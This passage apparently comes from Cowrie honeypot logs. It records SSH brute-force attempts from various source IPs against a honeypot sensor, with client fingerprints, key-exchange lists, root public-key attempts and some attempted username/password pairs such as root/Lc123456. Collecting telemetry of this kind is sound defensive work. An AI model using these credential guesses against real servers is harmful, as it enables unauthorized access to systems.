v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:20.443274Z","src_ip":"87.251.79.125","session":"7bfcf8998515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goldberg","message":"login attempt [root/goldberg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:20.664645Z","src_ip":"87.251.79.125","session":"7bfcf8998515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:21.747190Z","src_ip":"87.251.79.125","session":"7bfcf8998515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":51682,"dst_ip":"10.17.0.5","dst_port":22,"session":"79c636720bbd","protocol":"ssh","message":"New connection: 171.244.141.86:51682 (10.17.0.5:22) [session: 79c636720bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:24.052632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:24.058446Z","src_ip":"171.244.141.86","session":"79c636720bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:24.347142Z","src_ip":"171.244.141.86","session":"79c636720bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lc123456","message":"login attempt [root/Lc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:25.353827Z","src_ip":"171.244.141.86","session":"79c636720bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":51476,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea8036b9cf9b","protocol":"ssh","message":"New connection: 103.203.57.2:51476 (159.203.135.109:22) [session: ea8036b9cf9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:25.463225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:25.470392Z","src_ip":"103.203.57.2","session":"ea8036b9cf9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:25.481001Z","src_ip":"103.203.57.2","session":"ea8036b9cf9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:26.602914Z","src_ip":"171.244.141.86","session":"79c636720bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":56750,"dst_ip":"10.17.0.5","dst_port":22,"session":"84daac635f39","protocol":"ssh","message":"New connection: 213.230.127.104:56750 (10.17.0.5:22) [session: 84daac635f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:29.316691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:29.323251Z","src_ip":"213.230.127.104","session":"84daac635f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:29.498673Z","src_ip":"213.230.127.104","session":"84daac635f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jose","password":"123456","message":"login attempt [jose/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:30.248461Z","src_ip":"213.230.127.104","session":"84daac635f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:31.437192Z","src_ip":"213.230.127.104","session":"84daac635f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:35.464274Z","src_ip":"103.203.57.2","session":"ea8036b9cf9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00384640693665,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:04.448996Z","src_ip":"186.55.200.230","session":"cb41b53e30c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.62.179","src_port":22062,"dst_ip":"10.17.0.5","dst_port":22,"session":"f65b4f8cf36d","protocol":"ssh","message":"New connection: 68.235.62.179:22062 (10.17.0.5:22) [session: f65b4f8cf36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.125610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.132584Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.165266Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:e4:5f:94:5b:7a:f3:15:53:3f:7c:a9:48:f7:da:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGNNYJW7wtvgfSIJ09srz/8H6gfuM112tYHY389ZttlBKskisPW/ly9cGsrMWsC1Z6BRhQpYjNlxIfdpwFBV3Iz3wK9oavNJLJD47iWhOCrsJA7kWyM1lEKM7HhC5Lg6zhVTcrzqbIlWFFLzQkQPZpdkTwu/LUkYNd1Jk1HXbgpETtSF3VurfOt+Azeo0T2OByWZ3TjlDjfNZb/dpPG8M/XGvYR6DVO/GKKck8R3EDPGjKZmLiMFh8698wHj4fKa8by7uvRaJvV69Rn7j1DY/fN+jTkuxOFE5nSLNvBpc8pLR8Bnv/m0LpsKbdOhMo/4Xm6UmGUTaFwd360HDQV+fVGyxlq3rFlKO//WeA9C4vy8Gvko2DPrVbImDqFicHnrgTdIgUmM3vuJefNInCx03an8iXedjgWn2weZxwaK6CZp8cLPS2Lf9/N/FiPfPiWmYleDvD9EVjGTNvD1ASrxVUxPFmx7Aa2UDPzTjV84ljJ9VMU1cXYUVExylcqO1KgI8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:e4:5f:94:5b:7a:f3:15:53:3f:7c:a9:48:f7:da:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.298613Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:e4:5f:94:5b:7a:f3:15:53:3f:7c:a9:48:f7:da:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGNNYJW7wtvgfSIJ09srz/8H6gfuM112tYHY389ZttlBKskisPW/ly9cGsrMWsC1Z6BRhQpYjNlxIfdpwFBV3Iz3wK9oavNJLJD47iWhOCrsJA7kWyM1lEKM7HhC5Lg6zhVTcrzqbIlWFFLzQkQPZpdkTwu/LUkYNd1Jk1HXbgpETtSF3VurfOt+Azeo0T2OByWZ3TjlDjfNZb/dpPG8M/XGvYR6DVO/GKKck8R3EDPGjKZmLiMFh8698wHj4fKa8by7uvRaJvV69Rn7j1DY/fN+jTkuxOFE5nSLNvBpc8pLR8Bnv/m0LpsKbdOhMo/4Xm6UmGUTaFwd360HDQV+fVGyxlq3rFlKO//WeA9C4vy8Gvko2DPrVbImDqFicHnrgTdIgUmM3vuJefNInCx03an8iXedjgWn2weZxwaK6CZp8cLPS2Lf9/N/FiPfPiWmYleDvD9EVjGTNvD1ASrxVUxPFmx7Aa2UDPzTjV84ljJ9VMU1cXYUVExylcqO1KgI8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.302607Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:a9:21:0d:04:6d:c0:83:c4:dd:24:ac:ac:95:f8:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuF9chNvhdXQIP84EkMF1pPnnVKjROzxcrgbcLNa+5A8Tylq6z1LQ167sTaw+Bn8TFKG9WbRSUkAy2WjQ2rBJ9VdGCk+YdZyrcLA8ZGTKbXjTljRZFEIUd/s4W/dDu+O5RN3OlZmo8EBx6zs0YjfuBWl5D0bLPj6EuWoRaLUSaQ3ByzT3/lzwHWLyT+fpd2AndYn9DyL1hZKdyxXKvOMQ55bR+DkZ0l9nLA3pHHdlqK1pRbanOOj1uLB8TsrtLWEZJzUdvGuyfGVBEjw7KcRJ0Ax4Ei4leMhroQsrE7Rw0ZVkSzjONmXKQqn3IO/4GnwWhsf3zo0YDUJoG3cRTQaLzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:a9:21:0d:04:6d:c0:83:c4:dd:24:ac:ac:95:f8:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.341964Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:a9:21:0d:04:6d:c0:83:c4:dd:24:ac:ac:95:f8:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuF9chNvhdXQIP84EkMF1pPnnVKjROzxcrgbcLNa+5A8Tylq6z1LQ167sTaw+Bn8TFKG9WbRSUkAy2WjQ2rBJ9VdGCk+YdZyrcLA8ZGTKbXjTljRZFEIUd/s4W/dDu+O5RN3OlZmo8EBx6zs0YjfuBWl5D0bLPj6EuWoRaLUSaQ3ByzT3/lzwHWLyT+fpd2AndYn9DyL1hZKdyxXKvOMQ55bR+DkZ0l9nLA3pHHdlqK1pRbanOOj1uLB8TsrtLWEZJzUdvGuyfGVBEjw7KcRJ0Ax4Ei4leMhroQsrE7Rw0ZVkSzjONmXKQqn3IO/4GnwWhsf3zo0YDUJoG3cRTQaLzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.345606Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:e1:f2:86:ea:cc:5a:13:fe:65:56:1c:c0:34:4b:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIwh40fdSNT9AL8YZjcglILNI7wLP9+XPJk6N5Z0m9yL2ndZyXXbWakuPmHrPAoxSFo/+MTHE4+7Vg0Csop7KBW0jqzEsldGTFNO7dZ0LwncHEMD7lyFZ4jco3VrSj07gf0gzlnj9oaKye4bn7SzaC42EnM8EN/rz7uS8JiuNsNln4UMCG0hBXHJhSDA/pY4EmW5mdhYoyhfFslxQLJSuya1xLuwilBelZzg6tIlifQ1P+UTvCmRL9Rf3GyKj4BfqvPscup1DFEnAX1o9MbQhLGTWP2Alfg/JMsmeqkxqKEcWl2P0uSWfBWYkAXSVtwIDbVloPJLretb3UwQj3uPFT+vUfItmYqrPCGnqLsMIDprPO2DVaeJvnq3TXtOEaHD0WXFvScRG9r+1z4sQa2VXAfIckn+ymX98LfvWLHeGqH3WdljZLAFR8dnKMUQc9APqvqWxyKrJ8KZIifNOTnAalqWvYmmzotV3+byeAiq4aFDaFx5bFZF9vNlckYmNKIAA38+1AOEOrAKCeClMJYmYIx4q+QskQ92Us9KA/wTVl1KY4SPVnWJppJ3xs+faa923A2Av3NDL5BFxGVi8e3vgQ3BM/6C2IfBDDruOG8XCcm94VW8vdVQMPMkbmCkLY44IkN0SBLa1iGmlJsguYCQ60mvx493U9xd/K6tQ9YJem8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:e1:f2:86:ea:cc:5a:13:fe:65:56:1c:c0:34:4b:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.381890Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:e1:f2:86:ea:cc:5a:13:fe:65:56:1c:c0:34:4b:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIwh40fdSNT9AL8YZjcglILNI7wLP9+XPJk6N5Z0m9yL2ndZyXXbWakuPmHrPAoxSFo/+MTHE4+7Vg0Csop7KBW0jqzEsldGTFNO7dZ0LwncHEMD7lyFZ4jco3VrSj07gf0gzlnj9oaKye4bn7SzaC42EnM8EN/rz7uS8JiuNsNln4UMCG0hBXHJhSDA/pY4EmW5mdhYoyhfFslxQLJSuya1xLuwilBelZzg6tIlifQ1P+UTvCmRL9Rf3GyKj4BfqvPscup1DFEnAX1o9MbQhLGTWP2Alfg/JMsmeqkxqKEcWl2P0uSWfBWYkAXSVtwIDbVloPJLretb3UwQj3uPFT+vUfItmYqrPCGnqLsMIDprPO2DVaeJvnq3TXtOEaHD0WXFvScRG9r+1z4sQa2VXAfIckn+ymX98LfvWLHeGqH3WdljZLAFR8dnKMUQc9APqvqWxyKrJ8KZIifNOTnAalqWvYmmzotV3+byeAiq4aFDaFx5bFZF9vNlckYmNKIAA38+1AOEOrAKCeClMJYmYIx4q+QskQ92Us9KA/wTVl1KY4SPVnWJppJ3xs+faa923A2Av3NDL5BFxGVi8e3vgQ3BM/6C2IfBDDruOG8XCcm94VW8vdVQMPMkbmCkLY44IkN0SBLa1iGmlJsguYCQ60mvx493U9xd/K6tQ9YJem8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.388399Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:be:c0:56:fd:c8:a1:74:2b:51:10:dd:24:68:da:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCu0zutUVVn0e/pcEBhSlEFlZ09cpAQs2NnnQR+4URo+WcjtDVosqDRif+/NNOpALWxEprKXQtYjIUF1+lcWM8H8YlEchO9fISXXGr1Y7XstKhgnZAZ7WzCTygG+AQVB9XNmwQE1KAsxv8ntf9wivRuuJCRgtzEXyzhQ+vSeUKdrmoJLHOlcXL6JOeDXDO4dCVVGG2gwm0RLhyV+atzpfmTa5paErFEUnjoA5GlefEywzFJeLh60JxBJkLgrhNf4HKJe/9PkoYXUIoaPhWKyRBtUeXMsN7KRdKXc/I2Eftmt75CNHH3yVNGSTZTtQNNJhztPFGfaIB0RprHhCNrXX6JtgWsnn6begAN+vBB66NXvvekf93gWtnRfznijZ9YE0yW6A8ioqz9AuU8GsbCg6O5lJ5CqEonbH7wuhoV1kQ7C6+9WO8wIKFKtJH3+TqBihnYxWUbtJAvtHxudnKXjN9DHSIIFSxq09uFv7ObJj9uhM6UTyp5rgvCc97w30WI3uc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:be:c0:56:fd:c8:a1:74:2b:51:10:dd:24:68:da:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.423980Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:be:c0:56:fd:c8:a1:74:2b:51:10:dd:24:68:da:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCu0zutUVVn0e/pcEBhSlEFlZ09cpAQs2NnnQR+4URo+WcjtDVosqDRif+/NNOpALWxEprKXQtYjIUF1+lcWM8H8YlEchO9fISXXGr1Y7XstKhgnZAZ7WzCTygG+AQVB9XNmwQE1KAsxv8ntf9wivRuuJCRgtzEXyzhQ+vSeUKdrmoJLHOlcXL6JOeDXDO4dCVVGG2gwm0RLhyV+atzpfmTa5paErFEUnjoA5GlefEywzFJeLh60JxBJkLgrhNf4HKJe/9PkoYXUIoaPhWKyRBtUeXMsN7KRdKXc/I2Eftmt75CNHH3yVNGSTZTtQNNJhztPFGfaIB0RprHhCNrXX6JtgWsnn6begAN+vBB66NXvvekf93gWtnRfznijZ9YE0yW6A8ioqz9AuU8GsbCg6O5lJ5CqEonbH7wuhoV1kQ7C6+9WO8wIKFKtJH3+TqBihnYxWUbtJAvtHxudnKXjN9DHSIIFSxq09uFv7ObJj9uhM6UTyp5rgvCc97w30WI3uc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.429048Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:9b:24:63:f7:0b:9a:02:b5:c6:54:27:e5:9a:9a:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPbsC+8KdQFUZZrSdwEQ9jcJhCx/9qZaYpcD72fj2rT5BwjBuWielvymjIYdR53ZFFJYTLCzzWGnL/Xy8RVFNkXWT1L3utMCuvpw0Ef9fKL/zv7OeqtHlBCP5p2G6LyRlhd4NdJ7RD7IfvAMYovcIJ5otkEphXOaQOjHRJtdFXMNVOiFZVXVIYXxbb+fZbmCmYRLpMFWK8Pqv/i+iTpgSr14x/bACqj72giV/yAqJuklfxQ8xCXtCNRBmNtSkeWwyfs/9ql+37u+eAdhG7T3FEL5UdWPtZ+p7b8EJPnCmUJAF3CRmlR+FEeUP0WmGvYeaRZIIDnOBr8Nt48dxrnuMf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:9b:24:63:f7:0b:9a:02:b5:c6:54:27:e5:9a:9a:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:08.465749Z","src_ip":"68.235.62.179","session":"f65b4f8cf36d","protocol":"ssh"}
